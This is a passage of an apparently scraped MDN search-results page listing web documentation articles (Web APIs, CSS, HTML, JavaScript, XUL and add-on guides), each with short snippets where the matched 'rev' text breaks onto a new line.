event logging lists, zsets, pubsub queues lists (rpush, blpop, blpoprpush, etc.) priority queues zsets membership sets, bitstrings state hashes heartbeats zsets hit counters zsets message broadcast pubsub search
reverse indexes (never use keys in production) documentation redis has fantastic documentation.
... you can specify a timeout, or have them block fo
rever (timeout = 0).
... some things to notice: the subscriber blocks fo
rever - not just for the first message.
...And 3 more matches
Using the Places history service
history services interface overview the mozilla history service has undergone many
revisions.
... differences from p
revious implementations the p
revious nsglobalhistory service stored one entry for each page in history.
...currently, this is used to store whether there was a scrollbar, which allows more efficient layout if the page is
revisited.
...And 3 more matches
Creating the Component Code
« p
reviousnext » this chapter goes over the basic code required to handle the relationship between your component and xpcom.
... what we'll be working on the component we'll be working on in this book controls a special mode in your browser that p
revents users from leaving the current domain or a set of safe domains.
... overview of the weblock module source as we mentioned in the p
revious section, components have layers.
...And 3 more matches
Introduction to XPCOM for the DOM
warning: this document has not yet been
reviewed by the dom gurus, it might contain some errors.
...the good thing is that your code will (in the best condition) last fo
rever.
... note: the p
revious paragraph is extremely important.
...And 3 more matches
Migrating from Firebug - Firefox Developer Tools
response p
review there is a p
review tab when a network request logged to the console is expanded in firebug.
... the web console displays a p
review within the response tab.
... it is currently missing the p
review for html, xml and svg, though, which is tracked in bug 1247392 and bug 1262796, but when you click on the url of the request you switch to the network monitor, which has a p
review tab.
...And 3 more matches
Drawing shapes with canvas - Web APIs
« p
reviousnext » now that we have set up our canvas environment, we can get into the details of how to draw on the canvas.
...our html skeleton from the p
revious page had a canvas element 150 pixels wide and 150 pixels high.
... below is the draw() function from the p
revious page, but now it is making use of these three functions.
...And 3 more matches
Transformations - Web APIs
« p
reviousnext » earlier in this tutorial we've learned about the canvas grid and the coordinate space.
...e ctx.fillstyle = '#09f'; // make changes to the settings ctx.fillrect(15, 15, 120, 120); // draw a rectangle with new settings ctx.save(); // save the current state ctx.fillstyle = '#fff'; // make changes to the settings ctx.globalalpha = 0.5; ctx.fillrect(30, 30, 90, 90); // draw a rectangle with new settings ctx.restore(); // restore p
revious state ctx.fillrect(45, 45, 60, 60); // draw a rectangle with restored settings ctx.restore(); // restore original state ctx.fillrect(60, 60, 30, 30); // draw a rectangle with restored settings } <canvas id="canvas" width="150" height="150"></canvas> draw(); the first step is to draw a large rectangle with the default settings.
... so far this is pretty similar to what we've done in p
revious sections.
...And 3 more matches
Element: auxclick event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onauxclick p
reventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this behavior by calling p
reventdefault() from within an auxclick event handler.
... when listening for auxclick events originating on elements that do not support input or navigation, you will often want to explicitly p
revent other default actions mapped to the down action of the middle mouse button.
...this can be done by p
reventing the default behaviour of the mousedown or pointerdown event.
...And 3 more matches
Using the Gamepad API - Web APIs
technologies like <canvas>, webgl, <audio>, and <video>, along with javascript implementations, have matured to the point where they can now support many tasks p
reviously requiring native code.
...this helps p
revent gamepads being used for fingerprinting the user.
... disconnecting a gamepad when a gamepad is disconnected, and if a page has p
reviously received data for that gamepad (e.g.
...And 3 more matches
GlobalEventHandlers.onpointerdown - Web APIs
if the pointerdown event isn't canceled through a call to p
reventdefault(), most user agents will fire a mousedown event, so that sites not using pointer events will work.
...it receives as input the pointe
revent describing the pointerdown event.
...andledown; function handledown(evt) { var action; switch(evt.pointertype) { case "mouse": action = "clicking"; break; case "pen": action = "tapping"; break; case "touch": action = "touching"; break; default: action = "interacting with"; break; } targetbox.innerhtml = "<strong>thanks for " + action + " me!</strong>"; evt.p
reventdefault(); } this simply uses onpointerdown to establish the function handledown() as the event handler for pointer down events.
...And 3 more matches
Using Service Workers - Web APIs
the p
revious attempt — appcache — seemed to be a good idea because it allowed you to specify assets to cache really easily.
...the primary use of onactivate is for cleanup of resources used in p
revious versions of a service worker script.
... updating your service worker if your service worker has p
reviously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated.
...And 3 more matches
TouchEvent - Web APIs
touchevent.changedtouches read only a touchlist of all the touch objects representing individual points of contact whose states changed between the p
revious touch event and this one.
... using with addeventlistener() and p
reventdefault() it's important to note that in many cases, both touch and mouse events get sent (in order to let non-touch-specific code still interact with the user).
... if you use touch events, you should call p
reventdefault() to keep the mouse event from being sent as well.
...And 3 more matches
A basic 2D WebGL animation example - Web APIs
let uscalingfactor; let uglobalcolor; let urotationvector; let avertexposition; // animation timing let p
revioustime = 0.0; let degreespersecond = 90.0; initializing the program is handled through a load event handler called startup(): window.addeventlistener("load", startup, false); function startup() { glcanvas = document.getelementbyid("glcanvas"); gl = glcanvas.getcontext("webgl"); const shaderset = [ { type: gl.vertex_shader, id: "vertex-shader" }, { type: g...
...gl.array_buffer, vertexbuffer); avertexposition = gl.getattriblocation(shaderprogram, "avertexposition"); gl.enablevertexattribarray(avertexposition); gl.vertexattribpointer(avertexposition, vertexnumcomponents, gl.float, false, 0, 0); gl.drawarrays(gl.triangles, 0, vertexcount); window.requestanimationframe(function(currenttime) { let deltaangle = ((currenttime - p
revioustime) / 1000.0) * degreespersecond; currentangle = (currentangle + deltaangle) % 360; p
revioustime = currenttime; animatescene(); }); } the first thing that needs to be done in order to draw a frame of the animation is to clear the background to the desired color.
... useprogram() is called to activate the glsl shading program we established p
reviously.
...And 3 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the p
revious articles in our webxr tutorial series to construct an example which animates a rotating cube around which the user can move freely using a vr headset, keyboard, and/or mouse.
...) { let refspacetype; xrsession = session; xrbutton.innertext = "exit webxr"; xrsession.addeventlistener("end", sessionended); let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); if (allowmouserotation) { canvas.addeventlistener("pointermove", handlepointermove); canvas.addeventlistener("contextmenu", (event) => { event.p
reventdefault(); }); } if (allowkeyboardmotion) { document.addeventlistener("keydown", handlekeydown); } shaderprogram = initshaderprogram(gl, vssource, fssource); programinfo = { program: shaderprogram, attriblocations: { vertexposition: gl.getattriblocation(shaderprogram, 'avertexposition'), vertexnormal: gl.getattriblocation(shaderprogram, 'avertexnormal'), ...
...since the "mouselook" feature functions only while the right mouse button is held down, and clicking using the right mouse button triggers the context menu, we add a handler for the contextmenu event to the canvas to p
revent the context menu fom appearing when the user initially begins their drag of the mouse.
...And 3 more matches
Using the Web Animations API - Web APIs
safari supports web animations in its technology p
review version and there is also a handy polyfill that tests for feature support and adds it where necessary.
...ion and not its iterations (by default, animations iterate once), we could pass in the milliseconds alone: document.getelementbyid("alice").animate( [ { transform: 'rotate(0) translate3d(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.3}, { transform: 'rotate(360deg) translate3d(-50%, -50%, 0)', color: '#000' } ], 3000); controlling playback with play(), pause(),
reverse(), and updateplaybackrate() while we can write css animations with the web animations api, where the api really comes in handy is manipulating the animation’s playback.
...to p
revent the cake from eating itself up before the user has had the chance to click on it, we call animation.pause() on it immediately after it is defined, like so: nommingcake.pause(); we can now use the animation.play() method to run it whenever we’re ready: nommingcake.play(); specifically, we want to link it to alice’s animation, so she gets bigger as the cupcake gets eaten.
...And 3 more matches
Web APIs
micscompressornode e ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic eckeygenparams eckeyimportparams ecdhkeyderiveparams ecdsaparams effecttiming element elementcssinlinestyle elementtraversal erro
revent event eventlistener eventsource eventtarget extendableevent extendablemessageevent f featurepolicy federatedcredential fetchevent file fileentrysync fileerror fileexception filelist filereader filereadersync filerequest filesystem filesystemdirectoryentry filesystemdirectoryreader filesystementry filesystementrysync filesystemfileentry filesystemflags filesystemsyn...
...aconfiguration mediadecodingconfiguration mediadeviceinfo mediadevices mediaelementaudiosourcenode mediaencodingconfiguration mediaerror mediaimage mediakeymessageevent mediakeysession mediakeystatusmap mediakeysystemaccess mediakeysystemconfiguration mediakeys medialist mediametadata mediapositionstate mediaquerylist mediaquerylistevent mediaquerylistlistener mediarecorder mediarecordererro
revent mediasession mediasessionactiondetails mediasettingsrange mediasource mediastream mediastreamaudiodestinationnode mediastreamaudiosourcenode mediastreamaudiosourceoptions mediastreamconstraints mediastreamevent mediastreamtrack mediastreamtrackaudiosourcenode mediastreamtrackaudiosourceoptions mediastreamtrackevent mediatrackconstraints mediatracksettings mediatracksupportedconstraints mer...
...rformanceeventtiming performanceframetiming performancelongtasktiming performancemark performancemeasure performancenavigation performancenavigationtiming performanceobserver performanceobserverentrylist performancepainttiming performanceresourcetiming performanceservertiming performancetiming periodicwave permissionstatus permissions photocapabilities plugin pluginarray point pointe
revent popstateevent positionoptions processinginstruction progressevent promiserejectionevent publickeycredential publickeycredentialcreationoptions publickeycredentialrequestoptions pushevent pushmanager pushmessagedata pushregistrationmanager pushsubscription r rtcansweroptions rtccertificate rtcconfiguration rtcdtmfsender rtcdtmftonechangeevent rtcdatachannel rtcdatachannelevent rt...
...And 3 more matches
ARIA Test Cases - Accessibility
documenting and filing bugs
review the information on how to file a bug on an aria implementation.
...when possible provide a link to the bug in the database so that its status can be
reviewed.
... expected at behavior: when any control is focused inside the groupbox, where focus was p
reviously outside of the groupbox, the description for the entire groupbox should be read by a screen reader.
...And 3 more matches
Variable fonts guide - CSS: Cascading Style Sheets
variable fonts: what they are, and how they differ to better understand what's different about variable fonts, it is worth
reviewing what non-variable ones are like and how they compare.
...the advantage in choosing the variable font is that you have access to the entire range of weights, widths, and styles available, rather than being constrained to only the few that you p
reviously would have loaded separately.
...therefore whe
rever possible, the appropriate property should be used, with the lower-level syntax of font-variation-settings only being used to set values or axes not available otherwise.
...And 3 more matches
Using media queries - CSS: Cascading Style Sheets
print intended for paged material and documents viewed on a screen in print p
review mode.
... only the only operator is used to apply a style only if an entire query matches, and is useful for p
reventing older browsers from applying selected styles.
... in the p
revious example, we've already seen the and operator used to group a media type with a media feature.
...And 3 more matches
<color> - CSS: Cascading Style Sheets
hite #ffffff maroon #800000 red #ff0000 purple #800080 fuchsia #ff00ff green #008000 lime #00ff00 olive #808000 yellow #ffff00 navy #000080 blue #0000ff teal #008080 aqua #00ffff css level 2 (
revision 1) orange #ffa500 css color module level 3 aliceblue #f0f8ff antiquewhite #faebd7 aquamarine #7fffd4 azure #f0ffff beige #f5f5dc bisque #ffe4c4 blanchedalmond #ffebcd blueviolet #8a2be2 brown #a52a2a burlywood #deb887 ...
... compatibility note: to p
revent unexpected behavior, such as in a <gradient>, the current css spec states that transparent should be calculated in the alpha-premultiplied color space.
... historical note: transparent wasn't a true color in css level 2 (
revision 1).
...And 3 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
abb
reviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safari gif graphics interchange format image/gif .gif chrome, edge, firefox, i...
....png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abb
reviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later.
... the image is corrupted in some way that p
revents it from being loaded.
...And 3 more matches
Indexed collections - JavaScript
« p
reviousnext » this chapter introduces collections of data which are ordered by an index value.
...the array object has methods for manipulating arrays in various ways, such as joining,
reversing, and sorting them.
...
reverse() transposes the elements of an array, in place: the first array element becomes the last and the last becomes the first.
...And 3 more matches
Meta programming - JavaScript
« p
reviousnext » starting with ecmascript 2015, javascript gains support for the proxy and reflect objects allowing you to intercept and define custom behavior for fundamental language operations (e.g.
... handler.p
reventextensions() object.p
reventextensions() reflect.p
reventextensions() object.p
reventextensions(proxy) only returns true if object.isextensible(proxy) is false.
...
revocable proxy the proxy.
revocable() method is used to create a
revocable proxy object.
...And 3 more matches
Object.isFrozen() - JavaScript
var vacuouslyfrozen = object.p
reventextensions({}); object.isfrozen(vacuouslyfrozen); // === true // a new object with one property is also extensible, // ergo not frozen.
... var oneprop = { p: 42 }; object.isfrozen(oneprop); // === false // p
reventing extensions to the object still doesn't // make it frozen, because the property is still // configurable (and writable).
... object.p
reventextensions(oneprop); object.isfrozen(oneprop); // === false // ...but then deleting that property makes the object // vacuously frozen.
...And 3 more matches
TypedArray.prototype.reduceRight() - JavaScript
syntax typedarray.reduceright(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: p
reviousvalue the value p
reviously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduceright method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the p
revious callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
... the call to the reduceright callback would look something like this: typedarray.reduceright(function(p
reviousvalue, currentvalue, index, typedarray) { // ...
...And 3 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
autoplay of media elements now that we've covered what autoplay is and what can p
revent autoplay from being allowed, we'll look at how your web site or app can automatically play media upon page load, how to detect when autoplay fails to occur, and tips for coping when autoplay is denied by the browser.
...this will p
revent any future play events from being delivered to the handler.
...checking for undefined p
revents this code from failing with an error on older versions of web browsers.
...And 3 more matches
panel - Archive of obsolete content
this makes your code easier to maintain, secure, debug and
review.
... the main add-on code is exactly the same as the main add-on code in the p
revious example, except that we don't attach a content script: var data = require("sdk/self").data; // construct a panel, loading its content from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it.
... focus boolean set to false to p
revent taking the focus away when the panel is shown.
...And 2 more matches
Creating annotations - Archive of obsolete content
r(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedelement).css('background-color'); $(matchedelement).css('background-color', 'yellow'); $(matchedelement).bind('click.annotator', function(event) { event.stoppropagation(); event.p
reventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matchedelement).text() ] ); }); }); conversely, the add-on resets the matched element on mouseout: $('*').mouseout(function() { resetmatchedelement(); }); save this code in a new file called selector.js in your add-on's data directory.
...activate the annotator by clicking the widget and load a page: the screenshot below uses http://blog.mozilla.com/addons/2011/02/04/ overview-amo-
review-process/.
... you should see the highlight appearing when you move the mouse over certain elements: click on the highlight and you should see something like this in the console output: info: show info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-
review-process/, post-2249,when you submit a new add-on, you will have to choose between 2
review tracks: full
review and preliminary
review.
...And 2 more matches
Chrome Authority - Archive of obsolete content
chrome-authority-using modules must receive extra security
review, and most bugs in these modules are security-critical.
... when the manifest implementation is complete the runtime loader will actually p
revent modules from require()ing modules that are not listed in the manifest.
... likewise, it will p
revent modules from getting chrome authority unless the manifest indicates that they have asked for it.
...And 2 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
« p
reviousnext » this document was authored by hiroshi shimoda of clear code inc.
...with the p
reviously discussed persist attribute, you can easily store a window's size and location.
... a click
reveals the drop-down list; when an item is selected, the values of that item’s label and value attributes are copied to the label and value attributes of the menulist element itself.
...And 2 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
in order to host your add-on with mozilla it is crucial to minimize or completely eliminate eval use in order to receive a positive
review and have your add-on made public.
... if it cannot be easily proven that an eval() call is benign and necessary because there are no viable alternatives, a mozilla add-ons gallery
reviewer will generally reject the submission!
... the code is hard to read and by that hard to maintain and
review.
...And 2 more matches
Local Storage - Archive of obsolete content
« p
reviousnext » note: you may rather be looking for dom storage (localstorage, etc.), unless you really are doing xul development.
...an nsifile doesn't necessarily represent an existing file, as in the p
revious examples.
...some extension developers prefer to leave the data there, so that if the user chooses to install the extension again, all the p
revious data will be recovered.
...And 2 more matches
Setting Up a Development Environment - Archive of obsolete content
« p
reviousnext » getting the right tools there are 3 tools that we think are essential for effective add-on development (or any kind of development, really): a source code editor, a source control system, and a build system.
...this structure should be familiar, as it is almost identical to the unpacked xpi from the p
revious section.
...the last & p
revents automator from waiting for your firefox session to finish.
...And 2 more matches
Creating a dynamic status bar extension - Archive of obsolete content
« p
reviousnext » this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched from the web every few minutes.
...concepts covered in the p
revious sample won't be reiterated here; instead, refer to the downloadable sample code or to the p
revious sample for further details.
...update the chrome manifest the chrome manifest needs only a minor update from the p
revious sample; simply replace the id of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher".
...And 2 more matches
List of Mozilla-Based Applications - Archive of obsolete content
kompozer wysiwyg html editor unofficial bug-fix release of nvu kylo video browser uses gecko biofortis labmatrix web-accessible software application used for information management and integration of patient clinical, specimen, genetic and molecular assay data based on xul liaison groupware client for novell’s email and collaboration server p
reviously called mozngw linbox kiosk browser (fr) web browser dedicated browser for french prefecture and town hall litl internet computer for home uses spidermonkey and gecko lizilayers gis application 3liz also creates some gis firefox add-ons logitech harmony remote software software for remote control device uses gre or xulrunner ...
... qsos xul editor tool for the qsos method qsos stands for qualification and selection of opensource software qtrax music client based on songbird quickstaf gui client for software testing automation framework uses xulrunner qutecom phone software p
reviously named openwengo redcar text editor seems to use xulrunner red hat directory server server product uses nss red hat certificate system server product uses nss regex renamer tool to rename files sameplace im client scenari platform application suite for designing publishing chains script it ...
... part of instant-on operating system sqlite-manager database manager standalone version of add-on stealthsurfer secure internet tools on usb key uses firefox and thunderbird streambase complex event processing platform seems to use xulrunner stylizer css editor css editor css editor with built-in firebug-like diagnostics and gecko 1.8 p
review sun java enterprise system server products uses nss sundial browser with advanced domain name technology based on firefox surfeasy private and secure web browsing sweet16 apple ii computer emulator uses spidermonkey as a scriptable debugger for software running in the emulator mozilla sunbird/mozilla lightning calendar ...
...And 2 more matches
Localizing an extension - Archive of obsolete content
« p
reviousnext » this article expands upon the p
revious samples on extension writing by adding localization support to our stock watcher extension.
...if you haven't already created an extension, or would like to refresh your memory, take a look at the p
revious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...update the chrome manifest to let firefox know about the locale files, we need to make a
revision to our chrome.manifest file, adding one line for each localization: locale stockwatcher2 en-us chrome/locale/ this instructs firefox that the en-us localization is located in the chrome/locale/en-us directory.
...And 2 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
el (dom): dom level 1, dom level 2 and parts of dom level 3 mathematical markup language: mathml version 2.0 extensible markup language (xml): xml 1.0, namespaces in xml, associating style sheets with xml documents 1.0, fragment identifier for xml xsl transformations: xslt 1.0 xml path language: xpath 1.0 resource description framework: rdf simple object access protocol: soap 1.1 ecma-262,
revision 3 (javascript 1.5): ecma-262 general cross-browser coding tips even though web standards do exist, different browsers behave differently (in fact, the same browser may behave differently depending on the platform).
... p
revioussibling returns the node immediately preceding the current one.
... such timing-related issues are also hardware-related -- slower systems can
reveal bugs that faster systems hide.
...And 2 more matches
Tamarin Build System Documentation - Archive of obsolete content
the next phase is started when all slaves have completed the p
revious phase successfully.
... create a user repository, instructions are https://developer.mozilla.org/en/publishing_mercurial_clones go to the request a sandbox build page http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm enter the repository url,
revision number, email address, and description.
...; cd scripts edit environment.sh, change the basedir and buildsdir settings (around line 51) basedir=~/hg/tamarin-redux (path to my test repository) (next line) buildsdir=~/hg/builds (a directory to store downloaded builds) always set current working directory to the scripts directory when running a script run a script (e.g.) ../all/run-acceptance-release.sh <optional hg
revision number like 1902> how do i navigate the build status page?
...And 2 more matches
Simple Example - Archive of obsolete content
« p
reviousnext » let's look a more useful example, this time for a template that will show a list of photos.
...unlike p
revious examples where we iterated over a property to navigate the graph, here we want to iterate over the children of an rdf container.
... <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> the seed is set in a similar manner as the p
revious examples, effectively creating a single result with the ?start variable set to the reference resource 'http://www.xulplanet.com/rdf/myphotos'.
...And 2 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
« p
reviousnext » next, we'll find out how to add event handlers to xbl-defined elements.
...the last example in the p
revious section demonstrated this.
... example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="this.checked=!this.checked"/> </handlers> when the user clicks and releases the mouse button over the check box, the mouseup event is sent to it, and the handler defined here is called, causing the state of the checked property to be
reversed.
...And 2 more matches
More Button Features - Archive of obsolete content
« p
reviousnext » in this section, we will look at some additional features of buttons.
...by setting this attribute to the value
reverse, the image will be placed on the right side of the text.
...the same values are used, where normal means place the image above the text, and
reverse means place the image below the text.
...And 2 more matches
Tree Box Objects - Archive of obsolete content
« p
reviousnext » this section will describe the tree box object used to handle how a tree is displayed.
... redrawing the tree we already saw the rowcountchanged() function of the tree box object in the p
revious section.
...if you move the mouse around in the p
revious example, you might notice the label change between 'text' and 'cell'.
...And 2 more matches
Mozilla release FAQ - Archive of obsolete content
it is more suitable for being embedded in other applications than the p
revious rendering engine.
... gemini was a p
revious rendering engine project, renamed nglayout aurora is the navigation center in mozilla and navigator5 seamonkey refers to versions of mozilla based on xpfe and nglayout normandy refers to the mail/news branch of mozilla what are all these acronyms people are using in the newsgroup?
.../usr/include/stdlib.h:196: p
revious declaration of `seed48' see section 3.7 nothing looks much like an error, except something returned error status your compiler has a switch (probably) that prints everything it's doing (i.e.
...And 2 more matches
Using workers in extensions - Archive of obsolete content
« p
revious this article shows you how to use worker threads in extensions to perform tasks in the background without blocking the user interface.
... if you haven't already created an extension, or would like to refresh your memory, take a look at the p
revious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example.
... how this differs from p
revious versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
...And 2 more matches
Reference - Archive of obsolete content
how should they be
revised?
...if anyone disagrees, you can always
revert.
...while also holding in account the p
revious example where it was avalable in both instances when prototyping object it should be : function->object->instance or (function=object)->instance and ofcourse function == object return false ;) and the following statements also tells me that function == object although math is only an instance of object...
...And 2 more matches
Desktop gamepad controls - Game development
p
revious overview: control mechanisms next now we'll look at adding something extra — support for gamepad controls, via the gamepad api.
... the buttons variable contains the layout of a given controller (for example which buttons are where, because an xbox 360 layout may be different to a generic one), the cache containing the information about the buttons from the p
revious frame and the status containing the information from the current frame.
... if(c.buttons[b].pressed) { pressed.push(gamepadapi.buttons.layout[b]); } } } var axes = []; if(c.axes) { for(var a=0,x=c.axes.length; a<x; a++) { axes.push(c.axes[a].tofixed(2)); } } gamepadapi.axes.status = axes; gamepadapi.buttons.status = pressed; return pressed; }, the function above clears the buttons cache, and copies their status from the p
revious frame to the cache.
...And 2 more matches
Mobile accessibility - Learn web development
p
revious overview: accessibility next with web access on mobile devices being so popular and renowned platforms such as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and an understanding of the p
revious articles in the course.
... global and local menus talkback allows you to access global and local context menus, whe
rever you have navigated to on the device.
...And 2 more matches
Practical positioning examples - Learn web development
next, add the following just below your p
revious css: .info-box { width: 450px; height: 400px; margin: 0 auto; } this sets a specific width and height on the content, and centers it on the screen using the old margin: 0 auto trick.
... p
reviously in the course we advised against setting a fixed height on content containers if at all possible; it is ok in this circumstance because we have fixed content in our tabs.
... styling our tabs now we want to style tabs to look like tabs — basically, these are a horizontal navigation menu, but instead of loading different web pages when they are clicked on like we've seen p
reviously in the course, they cause different panels to be displayed on the same page.
...And 2 more matches
Responsive design - Learn web development
p
revious overview: css layout next in the early days of web design, pages were built to target a particular screen size.
...media queries enable the type of layout switch that cameron adams had p
reviously explored using javascript, using only css.
... user-scalable: p
revents zooming if set to no.
...And 2 more matches
Fundamental text and font styling - Learn web development
note: if the above paragraph leaves you feeling confused, then no matter — go back and
review our box model article, to brush up on the box model theory, before carrying on.
... a font-family example let's add to our p
revious example, giving the paragraphs a sans-serif font: p { color: red; font-family: helvetica, arial, sans-serif; } this gives us the following result: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat.
...but it was a rare occasion such as this that he did.</p> font size in our p
revious module's css values and units article, we
reviewed length and size units.
...And 2 more matches
JavaScript basics - Learn web development
p
revious overview: getting started with the web next javascript is a programming language that adds interactivity to your website.
...you have already seen some uses of functions p
reviously.
... supercharging our example website with this
review of javascript basics completed (above), let's add some new features to our example site.
...And 2 more matches
What’s in the head? Metadata in HTML - Learn web development
p
revious overview: introduction to html next the head of an html document is the part that is not displayed in the web browser when the page is loaded.
... let's
revisit the simple html document we covered in the p
revious article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this is my page</p> </body> </html> the html head is the contents of the <head> element — unlike the contents of the <body> element (which are displayed on the page when loaded in a browser), the head's content ...
... active learning: experiment with character encoding to try this out,
revisit the simple html template you obtained in the p
revious section on <title> (the title-example.html page), try changing the meta charset value to iso-8859-1, and add the japanese to your page.
...And 2 more matches
Function return values - Learn web development
p
revious overview: building blocks next there's one last essential concept about functions for us to discuss — return values.
... let's return to a familiar example (from a p
revious article in this series): let mytext = 'the weather is cold'; let newstring = mytext.replace('cold', 'warm'); console.log(newstring); // should print "the weather is warm" // the replace() string function takes a string, // replaces one substring with another, and returns // a new string with the replacement made the replace() function is invoked on the mytext string, and is passed two param...
...it is very useful to know and understand what values are returned by functions, so we try to include this information whe
rever possible.
...And 2 more matches
Handling text — strings in JavaScript - Learn web development
p
revious overview: first steps next next, we'll turn our attention to strings — this is what pieces of text are called in programming.
... creating a string to start with, enter the following lines: let string = 'the
revolution will not be televised.'; string; just like we did with numbers, we are declaring a variable, initializing it with a string value, and then returning the value.
... the following will work if you p
reviously defined the variable string — try it now: let badstring = string; badstring; badstring is now set to have the same value as string.
...And 2 more matches
Useful string methods - Learn web development
p
revious overview: first steps next now that we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.
...\'li\');' + '\n listitem.textcontent = result;' + '\n list.appendchild(listitem);' + '\n }' + '\n}'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...lement(\'li\');' + '\n listitem.textcontent = result;' + '\n list.appendchild(listitem);' + '\n' + '\n}'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...And 2 more matches
Object building practice - Learn web development
p
revious overview: objects next in p
revious articles we looked at all the essential javascript object theory and syntax details, giving you a solid base to start from.
...the finished example will look a little something like this: this example will make use of the canvas api for drawing the balls to the screen, and the requestanimationframe api for animating the whole display — you don't need to have any p
revious knowledge of these apis, and we hope that by the time you've finished this article you'll be interested in exploring them more.
...if it has, we
reverse the polarity of the relevant velocity to make the ball travel in the opposite direction.
...And 2 more matches
Object prototypes - Learn web development
p
revious overview: objects next prototypes are the mechanism by which javascript objects inherit features from one another.
... you can check out existing prototype properties for yourself — go back to our p
revious example and try entering the following into the javascript console: person.prototype the output won't show you very much because we haven't defined anything on our custom constructor's prototype!
...
revisiting create() earlier on we showed how the object.create() method can be used to create a new object instance.
...And 2 more matches
TypeScript support in Svelte - Learn web development
p
revious overview: client-side javascript frameworks next in the last article we learned about svelte stores and even implemented our own custom store to persist the app's information to web storage.
...on class="btn toggle-btn" class:btn__primary={filter === filter.completed} aria-pressed={filter === filter.completed} on:click={()=> filter = filter.completed} > <span class="visually-hidden">show</span> <span>completed</span> <span class="visually-hidden">tasks</span> </button> </div> here we are just importing the filter enum, and using it instead of the string values we used p
reviously.
... to fix it, replace tabindex="-1" with tabindex={-1}, like this: <h2 id="list-heading" bind:this={headingel} tabindex={-1}>{completedtodos} out of {totaltodos} items completed</h2> this way typescript can p
revent us from incorrectly assigning it to a string variable.
...And 2 more matches
Deployment and next steps - Learn web development
p
revious overview: client-side javascript frameworks in the p
revious article we learning about svelte's typescript support, and how to use it to make your application more robust.
... you can also check the progress of the current and p
revious jobs from the ci / cd > jobs menu option of your gitlab project.
... if you prefer to read books, there's svelte and sapper in action by mark volkman, expected to be published in september 2020, but which you can already p
review online for free.
...And 2 more matches
Working with Svelte stores - Learn web development
p
revious overview: client-side javascript frameworks next in the last article we completed the development of our app, finished organizing it into components, and discussed some advanced techniques for dealing with reactivity, working with dom nodes, and exposing component functionality.
...so our p
